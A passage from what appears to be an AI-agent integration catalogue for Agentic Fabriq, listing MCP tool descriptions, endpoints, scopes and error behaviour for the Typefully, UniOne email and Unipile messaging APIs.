/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments/{comment_id} PATCH /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments/{comment_id}. Scopes: full_access. typefully_patch_v2_social_sets_by_social_set_id_media_by_media_id (write) — Set or clear the accessibility description published as alt text with a media file. Omitting `alt_text` keeps the current value; sending null clears it via PATCH /v2/social-sets/{social_set_id}/media/{media_id} PATCH /api/v1/typefully/v2/social-sets/{social_set_id}/media/{media_id}. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_drafts (write) — Create a draft for one or more platforms, each with its own posts, media and settings. `plan_at` dates it without committing it; `publish_at` queues it to auto-publish. Typefully answers 402 when the account is paused or the plan does not allow creating drafts via POST /v2/social-sets/{social_set_id}/drafts POST /api/v1/typefully/v2/social-sets/{social_set_id}/drafts. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads (write) — Anchor a new comment thread to an exact span of a draft post's visible text. `selected_text` must be a codepoint-equal substring copied verbatim from the draft read, and a selection that cuts through a LinkedIn mention is refused via POST /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads POST /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads_by_comment_thread_id_comments (write) — Add a follow-up comment to an existing comment thread on a draft. Plain text only -- Typefully derives the stored rich text, and mentioning users is not supported here via POST /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments POST /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads_by_comment_thread_id_resolve (write) — Mark a draft's comment thread resolved, which hides it from the default unresolved listing. Reversible in the product and not destructive: the comments and the anchor survive via POST /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/resolve POST /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/resolve. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_media_upload (write) — Register a media file and get a presigned S3 URL to PUT the bytes to within the hour. The returned media_id is what attaches the file to a post; Agentic Fabriq does not upload the bytes for you via POST /v2/social-sets/{social_set_id}/media/upload POST /api/v1/typefully/v2/social-sets/{social_set_id}/media/upload. Scopes: full_access. typefully_post_v2_social_sets_by_social_set_id_tags (write) — Create a draft tag on a social set. The slug is generated from the name, so two names that slugify alike collide via POST /v2/social-sets/{social_set_id}/tags POST /api/v1/typefully/v2/social-sets/{social_set_id}/tags. Scopes: full_access. typefully_put_v2_social_sets_by_social_set_id_queue_schedule (write) — REPLACE a social set's whole queue schedule. This is a full replacement, not a merge: every slot missing from `rules` is removed, so read the schedule first and send the complete list. Not flagged destructive -- no content is deleted -- but it changes when everything already queued goes out via PUT /v2/social-sets/{social_set_id}/queue/schedule PUT /api/v1/typefully/v2/social-sets/{social_set_id}/queue/schedule. Scopes: full_access. ================================================================================ ## UniOne URL: https://www.agenticfabriq.com/integrations/unione Section: Integrated Tools UniOne — 35 MCP tools Provider key: unione. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. unione_post_domain_delete_json (write, destructive) — Delete a sending domain. Permanently removes one sending domain from the account, after which no address at that domain can send until it is added and verified again. (POST https://api.unione.io/en/transactional/api/v1/domain/delete.json) POST /api/v1/unione/domain/delete.json. Scopes: api. unione_post_domain_get_dns_records_json (write) — Add a sending domain and return its DNS records. Returns the SPF, DKIM, ownership-verification, DMARC and link-tracking records to publish for a sending domain -- and ADDS the domain to the account if it is not there yet, which is why this is a write rather than a read. UniOne refuses a public free-mail domain (code 1103) and a domain its resolver cannot see (code 1101); both measured 2026-09-16. (POST https://api.unione.io/en/transactional/api/v1/domain/get-dns-records.json) POST /api/v1/unione/domain/get-dns-records.json. Scopes: api. unione_post_domain_list_json (read) — List sending domains. Returns the account's sending domains with their SPF, DKIM, verification and DMARC state, optionally filtered to one domain and paginated with limit and offset. An account with none answers 200 and an empty list. (POST https://api.unione.io/en/transactional/api/v1/domain/list.json) POST /api/v1/unione/domain/list.json. Scopes: api. unione_post_domain_validate_dkim_json (write) — Validate a sending domain's DKIM record. Asks UniOne to re-check the published DKIM record for a domain and record the result. Answers 400 code 1401 for a domain the resolver cannot see. (POST https://api.unione.io/en/transactional/api/v1/domain/validate-dkim.json) POST /api/v1/unione/domain/validate-dkim.json. Scopes: api. unione_post_domain_validate_verification_record_json (write) — Validate a sending domain's ownership record. Asks UniOne to re-check the ownership TXT record for a domain and record the result, which is what moves the domain towards 'verified'. Answers 400 code 1201 for a domain the resolver cannot see. (POST https://api.unione.io/en/transactional/api/v1/domain/validate-verification-record.json) POST /api/v1/unione/domain/validate-verification-record.json. Scopes: api. unione_post_email_send_json (write) — Send an email. Queues one message for up to 500 recipients in a single call, from an inline body (HTML, plaintext and/or AMP) or a stored template, with per-recipient substitutions, attachments, tags, metadata and scheduling. Returns a job_id that identifies the send in statistics and event dumps. REQUIRES A CONFIRMED SENDING DOMAIN: the from_email's domain must be added to the account and verified (SPF, DKIM, ownership) first, or UniOne answers HTTP 400 naming the from_email field -- code 1574 'use address from a confirmed domain' for email/send, code 1003 'You don't have checked domain' for email/subscribe (both measured 2026-09-16 on an account with zero domains). Add the domain with domain/get-dns-records, publish the records UniOne returns, then domain/validate-verification-record and domain/validate-dkim. (POST https://api.unione.io/en/transactional/api/v1/email/send.json) POST /api/v1/unione/email/send.json. Scopes: api. unione_post_email_subscribe_json (write) — Send a subscription confirmation request. Sends a double opt-in confirmation email to one address, using UniOne's own confirmation template or a stored one, so the recipient's consent is recorded before any campaign reaches them. REQUIRES A CONFIRMED SENDING DOMAIN: the from_email's domain must be added to the account and verified (SPF, DKIM, ownership) first, or UniOne answers HTTP 400 naming the from_email field -- code 1574 'use address from a confirmed domain' for email/send, code 1003 'You don't have checked domain' for email/subscribe (both measured 2026-09-16 on an account with zero domains). Add the domain with domain/get-dns-records, publish the records UniOne returns, then domain/validate-verification-record and domain/validate-dkim. (POST https://api.unione.io/en/transactional/api/v1/email/subscribe.json) POST /api/v1/unione/email/subscribe.json. Scopes: api. unione_post_email_validation_single_json (write) — Validate one email address. Checks a single address for syntax, MX presence, disposable and role-account patterns and likely typos, returning a result (valid/invalid/unknown), a validity score and a did_you_mean suggestion. CONSUMES the account's email-validation quota (system/info reports validations_included and validations_used). (POST https://api.unione.io/en/transactional/api/v1/email-validation/single.json) POST /api/v1/unione/email-validation/single.json. Scopes: api. unione_post_event_dump_create_json (write) — Create an event dump. Starts an asynchronous export of delivery events for a time window, optionally filtered (by job, campaign, recipient, sender, status or tag) and aggregated. Returns a dump_id; poll event-dump/get for the file URLs. The format is 'csv' or 'csv_gzip' -- 'json' is refused with code 3304 (measured 2026-09-16). Events are retained for up to 32 days, depending on tariff. (POST https://api.unione.io/en/transactional/api/v1/event-dump/create.json) POST /api/v1/unione/event-dump/create.json. Scopes: api. unione_post_event_dump_delete_json (write, destructive) — Delete an event dump. Permanently removes one export and its generated files by dump_id. (POST https://api.unione.io/en/transactional/api/v1/event-dump/delete.json) POST /api/v1/unione/event-dump/delete.json. Scopes: api. unione_post_event_dump_get_json (read) — Get an event dump. Returns one export's status (in_process, ready or failed) and, once ready, the temporary URLs of its files. The URLs are time-limited. (POST https://api.unione.io/en/transactional/api/v1/event-dump/get.json) POST /api/v1/unione/event-dump/get.json. Scopes: api. unione_post_event_dump_list_json (read) — List event dumps. Returns every export currently held for the account, with each one's status and files. (POST https://api.unione.io/en/transactional/api/v1/event-dump/list.json) POST /api/v1/unione/event-dump/list.json. Scopes: api. unione_post_project_create_json (write) — Create a project. Creates a UniOne project -- the per-tenant isolation unit, with its own API key, domains, templates, suppression lists and statistics -- and returns its id and key. ACCOUNT GATE, not a defect: UniOne disables Projects by default -- 'By default, access to this page and methods is disabled for security reasons. To enable projects functionality, please contact our support team.' -- and every project/* method answers HTTP 403 {"code":403,"message":"Access Denied."} until support enables it (measured 2026-09-16). This is an account provisioning gate and applies to any UniOne credential, so ask UniOne support to enable Projects rather than reconnecting. (POST https://api.unione.io/en/transactional/api/v1/project/create.json) POST /api/v1/unione/project/create.json. Scopes: api. unione_post_project_delete_json (write, destructive) — Delete a project. Permanently removes one project, named by project_id or project_api_key, along with the isolation its key provided. ACCOUNT GATE, not a defect: UniOne disables Projects by default -- 'By default, access to this page and methods is disabled for security reasons. To enable projects functionality, please contact our support team.' -- and every project/* method answers HTTP 403 {"code":403,"message":"Access Denied."} until support enables it (measured 2026-09-16). This is an account provisioning gate and applies to any UniOne credential, so ask UniOne support to enable Projects rather than reconnecting. (POST https://api.unione.io/en/transactional/api/v1/project/delete.json) POST /api/v1/unione/project/delete.json. Scopes: api. unione_post_project_list_json (read) — List projects. Returns the account's projects with their ids, names and API keys, or one project when project_id or project_api_key is given. ACCOUNT GATE, not a defect: UniOne disables Projects by default -- 'By default, access to this page and methods is disabled for security reasons. To enable projects functionality, please contact our support team.' -- and every project/* method answers HTTP 403 {"code":403,"message":"Access Denied."} until support enables it (measured 2026-09-16). This is an account provisioning gate and applies to any UniOne credential, so ask UniOne support to enable Projects rather than reconnecting. (POST https://api.unione.io/en/transactional/api/v1/project/list.json) POST /api/v1/unione/project/list.json. Scopes: api. unione_post_project_update_json (write) — Update a project. Renames a project or changes its settings, naming it by project_id or by its project_api_key. ACCOUNT GATE, not a defect: UniOne disables Projects by default -- 'By default, access to this page and methods is disabled for security reasons. To enable projects functionality, please contact our support team.' -- and every project/* method answers HTTP 403 {"code":403,"message":"Access Denied."} until support enables it (measured 2026-09-16). This is an account provisioning gate and applies to any UniOne credential, so ask UniOne support to enable Projects rather than reconnecting. (POST https://api.unione.io/en/transactional/api/v1/project/update.json) POST /api/v1/unione/project/update.json. Scopes: api. unione_post_suppression_delete_json (write, destructive) — Delete a suppression. Removes the suppressions this account created for one address. UniOne's own bounce-derived suppressions are marked is_deletable false and are not removed by this call. (POST https://api.unione.io/en/transactional/api/v1/suppression/delete.json) POST /api/v1/unione/suppression/delete.json. Scopes: api. unione_post_suppression_get_json (read) — Get an address's suppressions. Returns every suppression recorded for one address, each with its cause, source (user or UniOne's own bounce handling) and whether it is deletable. An address with none answers 200 and an empty list. (POST https://api.unione.io/en/transactional/api/v1/suppression/get.json) POST /api/v1/unione/suppression/get.json. Scopes: api. unione_post_suppression_list_json (read) — List suppressions. Returns the account's suppressions, filterable by cause, source and start_time, and paginated with a cursor rather than an offset. (POST https://api.unione.io/en/transactional/api/v1/suppression/list.json) POST /api/v1/unione/suppression/list.json. Scopes: api. unione_post_suppression_set_json (write) — Add a suppression. Suppresses one address for a stated cause (unsubscribed, temporary or permanently unavailable, complained), so UniOne stops attempting delivery to it. Distinct from the unsubscribe list: a suppression created here can be removed again with suppression/delete. (POST https://api.unione.io/en/transactional/api/v1/suppression/set.json) POST /api/v1/unione/suppression/set.json. Scopes: api. unione_post_system_info_json (read) — Get account information. Returns the account's user id, email and current billing period, with the emails and validations included and used in it -- the cheapest way to see what quota a connection still has. (POST https://api.unione.io/en/transactional/api/v1/system/info.json) POST /api/v1/unione/system/info.json. Scopes: api. unione_post_system_ping_json (read) — Check the API key. UniOne's own credential check: 'This method checks API key validity and returns user ID'. Answers 200 {"status":"success","user_id":N} for a working key and 401 code 114 'user not found' for a bad one, or for a good key sent to the wrong regional host. This is the endpoint the paste-time probe uses. (POST https://api.unione.io/en/transactional/api/v1/system/ping.json) POST /api/v1/unione/system/ping.json. Scopes: api. unione_post_tag_delete_json (write, destructive) — Delete a tag. Permanently removes one tag by its numeric id. Answers 400 code 3703 naming the id when no such tag exists (measured 2026-09-16). (POST https://api.unione.io/en/transactional/api/v1/tag/delete.json) POST /api/v1/unione/tag/delete.json. Scopes: api. unione_post_tag_list_json (read) — List tags. Returns the tags the account has used on sends, with their numeric ids -- which is where the tag_id that tag/delete takes comes from. (POST https://api.unione.io/en/transactional/api/v1/tag/list.json) POST /api/v1/unione/tag/list.json. Scopes: api. unione_post_template_delete_json (write, destructive) — Delete a template. Permanently removes one stored template by id. Any send that names the deleted template id afterwards fails. (POST https://api.unione.io/en/transactional/api/v1/template/delete.json) POST /api/v1/unione/template/delete.json. Scopes: api. unione_post_template_get_json (read) — Get a template. Returns one stored template by id, including its body parts, sender, attachments, global substitutions and creation time. (POST https://api.unione.io/en/transactional/api/v1/template/get.json) POST /api/v1/unione/template/get.json. Scopes: api. unione_post_template_list_json (read) — List templates. Returns the account's stored templates, newest first, with their full bodies. Paginated with limit (1-100) and offset. (POST https://api.unione.io/en/transactional/api/v1/template/list.json) POST /api/v1/unione/template/list.json. Scopes: api. unione_post_template_set_json (write) — Create or update a template. Stores a reusable message template -- subject, HTML/plaintext/AMP body, sender, attachments and global substitutions -- and returns its id. Passing an existing template id UPDATES that template in place rather than creating a second one, so omit the id to create. (POST https://api.unione.io/en/transactional/api/v1/template/set.json) POST /api/v1/unione/template/set.json. Scopes: api. unione_post_unsubscribed_check_json (read) — Check whether an address is unsubscribed. Answers is_unsubscribed for one address without changing anything. Use this before a send rather than inferring the answer from a failure. (POST https://api.unione.io/en/transactional/api/v1/unsubscribed/check.json) POST /api/v1/unione/unsubscribed/check.json. Scopes: api. unione_post_unsubscribed_list_json (read) — List unsubscribed addresses. Returns the account's unsubscribe list with the time each address was unsubscribed, optionally from a date_from cutoff. (POST https://api.unione.io/en/transactional/api/v1/unsubscribed/list.json) POST /api/v1/unione/unsubscribed/list.json. Scopes: api. unione_post_unsubscribed_set_json (write) — Unsubscribe an address. Adds one address to the account's unsubscribe list, after which UniOne refuses to send to it. IRREVERSIBLE THROUGH THIS API: UniOne's Web API publishes no method that removes an address from the unsubscribe list (only set, check and list exist), so an entry added here can be undone only from the UniOne dashboard, if at all. (POST https://api.unione.io/en/transactional/api/v1/unsubscribed/set.json) POST /api/v1/unione/unsubscribed/set.json. Scopes: api. unione_post_webhook_delete_json (write, destructive) — Delete a webhook. Permanently removes one registered webhook, named by its url. UniOne stops posting events to it immediately. (POST https://api.unione.io/en/transactional/api/v1/webhook/delete.json) POST /api/v1/unione/webhook/delete.json. Scopes: api. unione_post_webhook_get_json (read) — Get a webhook. Returns one registered webhook by its url, with its event selection, delivery format, parallelism and status. (POST https://api.unione.io/en/transactional/api/v1/webhook/get.json) POST /api/v1/unione/webhook/get.json. Scopes: api. unione_post_webhook_list_json (read) — List webhooks. Returns every webhook registered on the account, paginated with limit and offset. (POST https://api.unione.io/en/transactional/api/v1/webhook/list.json) POST /api/v1/unione/webhook/list.json. Scopes: api. unione_post_webhook_set_json (write) — Create or update a webhook. Registers the URL UniOne posts delivery and status events to, and which events it sends (email_status, unsubscribed, spam, and the per-status selections beneath them). The URL is the webhook's IDENTITY: calling this again with the same url updates that webhook rather than adding a second one. (POST https://api.unione.io/en/transactional/api/v1/webhook/set.json) POST /api/v1/unione/webhook/set.json. Scopes: api. ================================================================================ ## Unipile URL: https://www.agenticfabriq.com/integrations/unipile Section: Integrated Tools Unipile — 92 MCP tools Provider key: unipile. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. unipile_delete_api_v1_accounts_by_id (write, destructive) — Delete an account. DELETE https://{subdomain}.unipile.com:{port}/api/v1/accounts/{id}. Unlink the given account to Unipile. DELETE /api/v1/unipile/api/v1/accounts/{id}. Scopes: api. unipile_delete_api_v1_calendars_by_calendar_id_events_by_event_id (write, destructive) — Delete an event. DELETE https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}/events/{event_id}. Delete a calendar event. DELETE /api/v1/unipile/api/v1/calendars/{calendar_id}/events/{event_id}. Scopes: api. unipile_delete_api_v1_chats_by_chat_id (write, destructive) — Delete a chat. DELETE https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}. Delete a chat. Supported for WhatsApp and LinkedIn only. DELETE /api/v1/unipile/api/v1/chats/{chat_id}. Scopes: api. unipile_delete_api_v1_emails_by_email_id (write, destructive) — Delete an email. DELETE https://{subdomain}.unipile.com:{port}/api/v1/emails/{email_id}. Delete an email by moving it to the Trash folder. DELETE /api/v1/unipile/api/v1/emails/{email_id}. Scopes: api. unipile_delete_api_v1_messages_by_message_id (write, destructive) — Delete a message. DELETE https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}. Delete a message. Supported for WhatsApp and LinkedIn only. For LinkedIn, it is only possible within the first 60 minutes after the message is sent. DELETE /api/v1/unipile/api/v1/messages/{message_id}. Scopes: api. unipile_delete_api_v1_users_invite_sent_by_invitation_id (write, destructive) — Cancel an invitation. DELETE https://{subdomain}.unipile.com:{port}/api/v1/users/invite/sent/{invitation_id}. Cancel a pending invitation sent to someone. Instagram: You can also use this route to unfollow users you have previously followed. DELETE /api/v1/unipile/api/v1/users/invite/sent/{invitation_id}. Scopes: api. unipile_delete_api_v1_webhooks_by_id (write, destructive) — Delete a webhook. DELETE https://{subdomain}.unipile.com:{port}/api/v1/webhooks/{id}. Delete a webhook. DELETE /api/v1/unipile/api/v1/webhooks/{id}. Scopes: api. unipile_get_api_v1_accounts (read) — List all accounts. GET https://{subdomain}.unipile.com:{port}/api/v1/accounts. Returns a list of the accounts linked to Unipile. GET /api/v1/unipile/api/v1/accounts. Scopes: api. unipile_get_api_v1_accounts_by_account_id_sync (read) — Resynchronize account messaging data. GET https://{subdomain}.unipile.com:{port}/api/v1/accounts/{account_id}/sync. This route can be used both to initiate a sync process (from scratch or within a specific time span) and to monitor its status via regular polling. Supported providers: LinkedIn and Telegram. Instagram and WhatsApp are not supported by this route. GET /api/v1/unipile/api/v1/accounts/{account_id}/sync. Scopes: api. unipile_get_api_v1_accounts_by_id (read) — Retrieve an account. GET https://{subdomain}.unipile.com:{port}/api/v1/accounts/{id}. Retrieve the details of an account. GET /api/v1/unipile/api/v1/accounts/{id}. Scopes: api. unipile_get_api_v1_calendars (read) — List all calendars. GET https://{subdomain}.unipile.com:{port}/api/v1/calendars. Returns a list of calendars. GET /api/v1/unipile/api/v1/calendars. Scopes: api. unipile_get_api_v1_calendars_by_calendar_id (read) — Retrieve a calendar. GET https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}. Retrieve the details of a calendar. GET /api/v1/unipile/api/v1/calendars/{calendar_id}. Scopes: api. unipile_get_api_v1_calendars_by_calendar_id_events (read) — Retrieve all events from a calendar. GET https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}/events. Returns a list of calendar events related to the given calendar. GET /api/v1/unipile/api/v1/calendars/{calendar_id}/events. Scopes: api. unipile_get_api_v1_calendars_by_calendar_id_events_by_event_id (read) — Retrieve an event. GET https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}/events/{event_id}. Retrieve the details of a calendar event. GET /api/v1/unipile/api/v1/calendars/{calendar_id}/events/{event_id}. Scopes: api. unipile_get_api_v1_chat_attendees (read) — List all attendees. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees. Returns a list of messaging attendees. Some optional parameters are available to filter the results. GET /api/v1/unipile/api/v1/chat_attendees. Scopes: api. unipile_get_api_v1_chat_attendees_by_attendee_id_chats (read) — List all 1to1 chats for a given attendee. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees/{attendee_id}/chats. Returns a list of chats where a given attendee is involved. GET /api/v1/unipile/api/v1/chat_attendees/{attendee_id}/chats. Scopes: api. unipile_get_api_v1_chat_attendees_by_attendee_id_sync (read) — Resynchronize chats for a given attendee. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees/{attendee_id}/sync. Starts or monitors the synchronization of all chats for a given attendee. GET /api/v1/unipile/api/v1/chat_attendees/{attendee_id}/sync. Scopes: api. unipile_get_api_v1_chat_attendees_by_id (read) — Retrieve an attendee. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees/{id}. The id of the wanted attendee. GET /api/v1/unipile/api/v1/chat_attendees/{id}. Scopes: api. unipile_get_api_v1_chat_attendees_by_id_picture (read) — Download a chat attendee picture. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees/{id}/picture. Download the profile picture of an attendee or picture of a group chat. GET /api/v1/unipile/api/v1/chat_attendees/{id}/picture. Scopes: api. unipile_get_api_v1_chat_attendees_by_sender_id_messages (read) — List all messages for a given attendee. GET https://{subdomain}.unipile.com:{port}/api/v1/chat_attendees/{sender_id}/messages. Returns a list of messages where a given attendee is involved. GET /api/v1/unipile/api/v1/chat_attendees/{sender_id}/messages. Scopes: api. unipile_get_api_v1_chats (read) — List all chats. GET https://{subdomain}.unipile.com:{port}/api/v1/chats. Returns a list of chats. Some optional parameters are available to filter the results. GET /api/v1/unipile/api/v1/chats. Scopes: api. unipile_get_api_v1_chats_by_chat_id (read) — Retrieve a chat. GET https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}. Retrieve the details of a chat. GET /api/v1/unipile/api/v1/chats/{chat_id}. Scopes: api. unipile_get_api_v1_chats_by_chat_id_attendees (read) — List all attendees from a chat. GET https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}/attendees. Returns a list of messaging attendees related to a given chat. Some optional parameters are available to filter the results. GET /api/v1/unipile/api/v1/chats/{chat_id}/attendees. Scopes: api. unipile_get_api_v1_chats_by_chat_id_messages (read) — List all messages from a chat. GET https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}/messages. Returns a list of messages related to the given chat. Some parameters are available to filter the results. GET /api/v1/unipile/api/v1/chats/{chat_id}/messages. Scopes: api. unipile_get_api_v1_chats_by_chat_id_sync (read) — Synchronize a conversation from its beginning. GET https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}/sync. This route can be used both to initiate a synchronization process and to monitor its status via regular polling. GET /api/v1/unipile/api/v1/chats/{chat_id}/sync. Scopes: api. unipile_get_api_v1_emails (read) — List all emails. GET https://{subdomain}.unipile.com:{port}/api/v1/emails. Returns a list of emails. GET /api/v1/unipile/api/v1/emails. Scopes: api. unipile_get_api_v1_emails_by_email_id (read) — Retrieve an email. GET https://{subdomain}.unipile.com:{port}/api/v1/emails/{email_id}. Retrieve the details of an email. GET /api/v1/unipile/api/v1/emails/{email_id}. Scopes: api. unipile_get_api_v1_emails_by_email_id_attachments_by_attachment_id (read) — Retrieve an attachment from an email. GET https://{subdomain}.unipile.com:{port}/api/v1/emails/{email_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to an email. Unipile answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/unipile/api/v1/emails/{email_id}/attachments/{attachment_id}. Scopes: api. unipile_get_api_v1_emails_contacts (read) — List email contacts. GET https://{subdomain}.unipile.com:{port}/api/v1/emails/contacts. Returns a list of contacts from the email provider. Supported for Gmail (Google OAuth) and Microsoft (Outlook) only. GET /api/v1/unipile/api/v1/emails/contacts. Scopes: api. unipile_get_api_v1_folders (read) — List all folders. GET https://{subdomain}.unipile.com:{port}/api/v1/folders. Returns a list of all email folders. GET /api/v1/unipile/api/v1/folders. Scopes: api. unipile_get_api_v1_folders_by_folder_id (read) — Retrieve a folder. GET https://{subdomain}.unipile.com:{port}/api/v1/folders/{folder_id}. Retrieve the details of a mail folder. GET /api/v1/unipile/api/v1/folders/{folder_id}. Scopes: api. unipile_get_api_v1_linkedin_company_by_identifier (read) — Retrieve a company profile. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/company/{identifier}. Get a company profile from its name or ID. GET /api/v1/unipile/api/v1/linkedin/company/{identifier}. Scopes: api. unipile_get_api_v1_linkedin_contracts (read) — Retrieve contracts. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/contracts. Returns a list of your LinkedIn available contracts GET /api/v1/unipile/api/v1/linkedin/contracts. Scopes: api. unipile_get_api_v1_linkedin_inmail_balance (read) — Get inmail credit balance. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/inmail_balance. Get balance for subscribed premium features. GET /api/v1/unipile/api/v1/linkedin/inmail_balance. Scopes: api. unipile_get_api_v1_linkedin_jobs (read) — List all job postings. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs. Retrieve the job offers you have posted on LinkedIn whether they are open, closed or still drafts. GET /api/v1/unipile/api/v1/linkedin/jobs. Scopes: api. unipile_get_api_v1_linkedin_jobs_applicants_by_applicant_id (read) — Get a specific applicant to a job posting. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/applicants/{applicant_id}. Retrieve the details of a user that has applied to a given offer. Applies to Classic job posting only. GET /api/v1/unipile/api/v1/linkedin/jobs/applicants/{applicant_id}. Scopes: api. unipile_get_api_v1_linkedin_jobs_applicants_by_applicant_id_resume (read) — Download the resume of a job applicant. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/applicants/{applicant_id}/resume. This route can be used to download the resume of a job applicant. Unipile answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/unipile/api/v1/linkedin/jobs/applicants/{applicant_id}/resume. Scopes: api. unipile_get_api_v1_linkedin_jobs_by_id_applicants (read) — List all applicants to a job posting. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{id}/applicants. Retrieve all the users that have applied to a given offer. GET /api/v1/unipile/api/v1/linkedin/jobs/{id}/applicants. Scopes: api. unipile_get_api_v1_linkedin_jobs_by_job_id (read) — Get job offer. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{job_id}. Retrieve a job offer. GET /api/v1/unipile/api/v1/linkedin/jobs/{job_id}. Scopes: api. unipile_get_api_v1_linkedin_projects (read) — Retrieve Recruiter hiring projects. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/projects. Retrieve list of LinkedIn Recruiter hiring projects. GET /api/v1/unipile/api/v1/linkedin/projects. Scopes: api. unipile_get_api_v1_linkedin_projects_by_id (read) — Retrieve Recruiter hiring project from ID. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/projects/{id}. Retrieve a particular hiring project. GET /api/v1/unipile/api/v1/linkedin/projects/{id}. Scopes: api. unipile_get_api_v1_linkedin_search_parameters (read) — Retrieve LinkedIn search parameters. GET https://{subdomain}.unipile.com:{port}/api/v1/linkedin/search/parameters. LinkedIn doesn't accept raw text as search parameters, but IDs. This route will help you get the right IDs for your inputs. Check out our Guide with examples to master LinkedIn search: https://developer.unipile.com/docs/linkedin-search GET /api/v1/unipile/api/v1/linkedin/search/parameters. Scopes: api. unipile_get_api_v1_messages (read) — List all messages. GET https://{subdomain}.unipile.com:{port}/api/v1/messages. Returns a list of messages. Some optional parameters are available to filter the results. GET /api/v1/unipile/api/v1/messages. Scopes: api. unipile_get_api_v1_messages_by_message_id (read) — Retrieve a message. GET https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}. Retrieve the details of a message. GET /api/v1/unipile/api/v1/messages/{message_id}. Scopes: api. unipile_get_api_v1_messages_by_message_id_attachments_by_attachment_id (read) — Retrieve an attachment from a message. GET https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to a message. Unipile answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/unipile/api/v1/messages/{message_id}/attachments/{attachment_id}. Scopes: api. unipile_get_api_v1_posts_by_post_id (read) — Retrieve a post. GET https://{subdomain}.unipile.com:{port}/api/v1/posts/{post_id}. Retrieve the details of a post. GET /api/v1/unipile/api/v1/posts/{post_id}. Scopes: api. unipile_get_api_v1_posts_by_post_id_comments (read) — List all comments from a post. GET https://{subdomain}.unipile.com:{port}/api/v1/posts/{post_id}/comments. Returns a list of either comments on a given post or replies on a given comment. GET /api/v1/unipile/api/v1/posts/{post_id}/comments. Scopes: api. unipile_get_api_v1_posts_by_post_id_reactions (read) — List all reactions from a post. GET https://{subdomain}.unipile.com:{port}/api/v1/posts/{post_id}/reactions. Returns a list of reactions to either a post or a post comment. GET /api/v1/unipile/api/v1/posts/{post_id}/reactions. Scopes: api. unipile_get_api_v1_users_by_identifier (read) — Retrieve a profile. GET https://{subdomain}.unipile.com:{port}/api/v1/users/{identifier}. Retrieve the profile of a user. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.unipile.com/docs/provider-limits-and-restrictions GET /api/v1/unipile/api/v1/users/{identifier}. Scopes: api. unipile_get_api_v1_users_by_identifier_comments (read) — List all comments. GET https://{subdomain}.unipile.com:{port}/api/v1/users/{identifier}/comments. Returns a list of comments written by a user. GET /api/v1/unipile/api/v1/users/{identifier}/comments. Scopes: api. unipile_get_api_v1_users_by_identifier_posts (read) — List all posts. GET https://{subdomain}.unipile.com:{port}/api/v1/users/{identifier}/posts. Returns a list of posts written by a user or a company. GET 